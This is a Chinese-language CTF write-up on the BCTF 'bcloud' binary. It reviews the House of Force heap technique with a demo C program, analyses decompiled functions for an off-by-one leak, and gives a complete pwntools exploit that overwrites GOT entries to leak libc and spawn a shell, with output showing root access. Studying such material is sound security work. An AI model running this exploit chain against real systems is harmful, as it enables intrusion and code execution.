先复习一下House of Force

House of Force的思想就是覆盖top chunk的值,然后让malloc返回一个任意的值

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite."; //这个是我们像覆盖的地方

int main(int argc , char* argv[])
{

    fprintf(stderr, "一开始bss_var的地址在:  %p.\n", bss_var);
    fprintf(stderr, "它的值是: %s\n", bss_var);

    intptr_t *p1 = malloc(256);     //首先我们malloc,开辟一块heap空间
    fprintf(stderr, "第一次malloc的地址在 %p.\n", p1 - 2);     //现在heap有两个部分,一个是它,一个是top chunk

    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "由于对其的原因,malloc真正的大小是: %ld.\n", real_size + sizeof(long)*2);

    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));       //top chunk 指针的位置
    fprintf(stderr, "\ntop chunk的起始位置在: %p\n", ptr_top);

    fprintf(stderr, "top chunk改之前的值为:  %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;     //假装覆盖指针,为 -1,即 0xffffffffffffffff,现在top chunk变成了一个巨大的值,我们可以在不调用mmap的情况下malloc任何值
    fprintf(stderr, "top chunk改之后的值为: %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

    /*
     * evil_size 的计算方式(nb是请求的大小+metadata的大小):
     * new_top = old_top + nb
     * nb = new_top - old_top
     * 请求的大小 + 2sizeof(long) = new_top - old_top            //  sizeof(long)就是8byte
     * 请求的大小 = new_top - old_top - 2sizeof(long)
     * 请求的大小 = dest - 2sizeof(long) - old_top - 2sizeof(long)       //dest为新的chunk指向的位置
     * 请求的大小 = dest - old_top - 4*sizeof(long)          //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
     */
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;      //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
    void *new_ptr = malloc(evil_size);      // 新chunk指向位置  =  请求的大小 + old_top的位置 + 4*(8byte)
    fprintf(stderr, "现在新的chunk指向了原来的top chunk: %p\n", new_ptr - sizeof(long)*2);//此时top chunk的位置已经到了要覆盖位置的前方

    void* ctr_chunk = malloc(100);      //再次malloc,我们malloc到了我们想要的位置
    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);

    fprintf(stderr, "... old string: %s\n", bss_var);
    strcpy(ctr_chunk, "YEAH!!!");  //覆盖数据
    fprintf(stderr, "... new string: %s\n", bss_var);
}

file

file bcloud 
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped

checksec

Python 2.7.5 (default, Aug  7 2019, 00:51:29) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print ELF('./bcloud')
[*] '/root/sploitfun/bccloud/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

反汇编之后

void __cdecl main()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  save_all();
  while ( 1 )
  {
    switch ( make_choice() )
    {
      case 1:
        new_note();
        break;
      case 2:
        Something_strange_happened();
        break;
      case 3:
        edit_note();
        break;
      case 4:
        del_note();
        break;
      case 5:
        Synchronization();
        break;
      case 6:
        bye();
        return;
      default:
        Invalid_option();
        break;
    }
  }
}

input函数如下

int __cdecl input_morty(int a1, int a2, char a3)
{
  char buf; // [sp+1Bh] [bp-Dh]@2
  int i; // [sp+1Ch] [bp-Ch]@1

  for ( i = 0; i < a2; ++i )                    // a2 = 64
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )                            // a3 = 10
      break;
    *(_BYTE *)(a1 + i) = buf;                   // a1是字符串的地址
  }
  *(_BYTE *)(i + a1) = 0;                       // 将最后一位置零
  return i;                                     // 返回字符串的长度
}

用户申请的整个长度全部读入了值,最后又加了一个\x00,造成了off by one

打印的函数如下

int __cdecl puts_stuff(int a1)
{
  printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
  return puts("Now let's set synchronization options.");
}

之前输入的name字符串存在的截断缺失在这里就可以利用了,在外层reg_name函数中,name字符串就是栈变量s,而s和分配的堆块指针v2相邻,恰好隔了0x40的偏移,因此只要我们在输入name的时候输入0x40个A,此处就可以通过printf泄露v2指针的值,即泄露了堆地址;此外,name_input函数中最后的置零没有影响,虽然起初的置零会把v2覆盖为零,但是malloc是在此之后的。

save_ori_host函数如下

int save_ori_host()
{
  char s; // [sp+1Ch] [bp-9Ch]@1
  char *v2; // [sp+5Ch] [bp-5Ch]@1
  int v3; // [sp+60h] [bp-58h]@1
  char *v4; // [sp+A4h] [bp-14h]@1
  int v5; // [sp+ACh] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x90u);
  puts("Org:");
  input_morty((int)&s, 64, 10);
  puts("Host:");
  input_morty((int)&v3, 64, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;                      // ori指针
  dword_804B148 = (int)v4;                      // host指针
  strcpy(v4, (const char *)&v3);
  strcpy(v2, &s);
  puts("OKay! Enjoy:)");
  return *MK_FP(__GS__, 20) ^ v5;
}

然后受name_input影响而缺失截断的字符串是栈上的s和v3,现在我们看第20行的strcpy,由于&s处的字符串缺失截断符号,我们输入0x40个A后就紧接上了栈上的v2,v2是堆指针,四个字节大概率都不为截断值,因此strcpy的拷贝不会停下,再继续往下就到了栈上的v3了,也就是另外一个我们输入的字符串,因此会继续拷贝v3这个字符串中的内容。那么拷贝到了哪呢?拷贝目标内存是v2,也就是malloc到的一个chunk,由于v2分配的最晚(此前又没有free,所有bin均空),因此v2所指的这个chunk正是与top chunk相邻的,因此这里的拷贝把0x40的垃圾数据拷贝满这个chunk后,再拷贝就会覆盖到top chunk的头部了:v2的值四字节填上了top chunk的presize,v3字符串的前四个字节则会覆盖掉top chunk的size字段,由于v3字符串的内容是由我们随意控制的,我们就能够将top chunk的size字段篡改为FF FF FF FF,即-1,实现了House of force攻击的第一步!

new函数

int new_note()
{
  int result; // eax@6
  signed int i; // [sp+18h] [bp-10h]@1
  int v2; // [sp+1Ch] [bp-Ch]@7

  for ( i = 0; i <= 9 && dword_804B120[i]; ++i )
    ;
  if ( i == 10 )
  {
    result = puts("Lack of space. Upgrade your account with just $100 :)");
  }
  else
  {
    puts("Input the length of the note content:");
    v2 = sub_8048709();
    dword_804B120[i] = (int)malloc(v2 + 4);
    if ( !dword_804B120[i] )
      exit(-1);
    dword_804B0A0[i] = v2;
    puts("Input the content:");
    input_morty(dword_804B120[i], v2, 10);
    printf("Create success, the id is %d\n", i);
    result = i;
    dword_804B0E0[i] = 0;
  }
  return result;
}

最终的exp

# coding=utf-8
from pwn import *

io = process(['./bcloud'])
bss_addr = 0x0804b0a0


def new(length, content):
    io.sendlineafter("option--->>\n", '1')
    io.sendlineafter("content:\n", str(length))
    io.sendlineafter("content:\n", content)


def edit(idx, content):
    io.sendlineafter("option--->>\n", '3')
    io.sendline(str(idx))
    io.sendline(content)


def delete(idx):
    io.sendlineafter("option--->>\n", '4')
    io.sendlineafter("id:\n", str(idx))


def leak_heap():
    io.sendafter("name:\n", "A" * 0x40)  # 通过off by one ,造成scpcy多复制了4个字节,leak出了heap的地址
    leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
    log.info("leak heap address: 0x%x" % leak)
    return leak


def house_of_force(leak):
    io.sendafter("Org:\n", "A" * 0x40)
    io.sendlineafter("Host:\n", p32(0xffffffff))  # 这里将top chunk 的size覆盖成这个值

    new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4,
        'AAAA')  # 0xd0 = top chunk - leak       malloc一个特定大小的chunk,使下个chunk到指定的位置

    payload = "A" * 0x80
    payload += p32(0x804b014)  # notes[0]->elf.got['free']       第0个note地址指针的值改为了free@got
    payload += p32(0x804b03c) * 2  # notes[1], notes[2]->elf.got['atoi']       第一个note和第二个note的指针改为了atoi@got
    new(0x8c, payload)


def leak_libc():
    edit(0, p32(0x08048520))  # 将free@got的值改写为puts@plt     objdump -d bcloud | less
    delete(1)  #这时free(1)就是puts(atoi_addr)  因为1的值指向了atoi@got
    io.recvuntil("id:\n")
    leak_atoi_addr = u32(io.recvn(4))       #收到了atoi在虚拟内存中的地址
    libc_base = leak_atoi_addr - 0x30890  # 计算出libc的地址  readelf -s libc-2.19.so | grep atoi     00030890
    system_addr = libc_base + 0x3ef70  # 计算出system的地址   readelf -s libc-2.19.so | grep system   0003ef70

    print("atoi 地址: 0x%x" % leak_atoi_addr)
    print("libc base: 0x%x" % libc_base)
    return system_addr


def pwn(system_addr):
    edit(2, p32(system_addr))  # atoi@got的值改为system地址
    io.sendline("/bin/sh\x00")
    io.interactive()

if __name__ == '__main__':
    leak = leak_heap()  # 首先是leak出heap的地址
    house_of_force(leak)  # 然后使HOF将note前三个指针的值改写
    system_addr = leak_libc()
    pwn(system_addr)

最终运行的结果

python morty.py 
[+] Starting local process './bcloud': pid 3269
[*] leak heap address: 0x804c008
atoi \xb5刂\xb7: 0xf7e2e890
libc base: 0xf7dfe000
[*] Switching to interactive mode
Input the id:
Input the new content:
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
$ id
uid=0(root) gid=0(root)=0(root)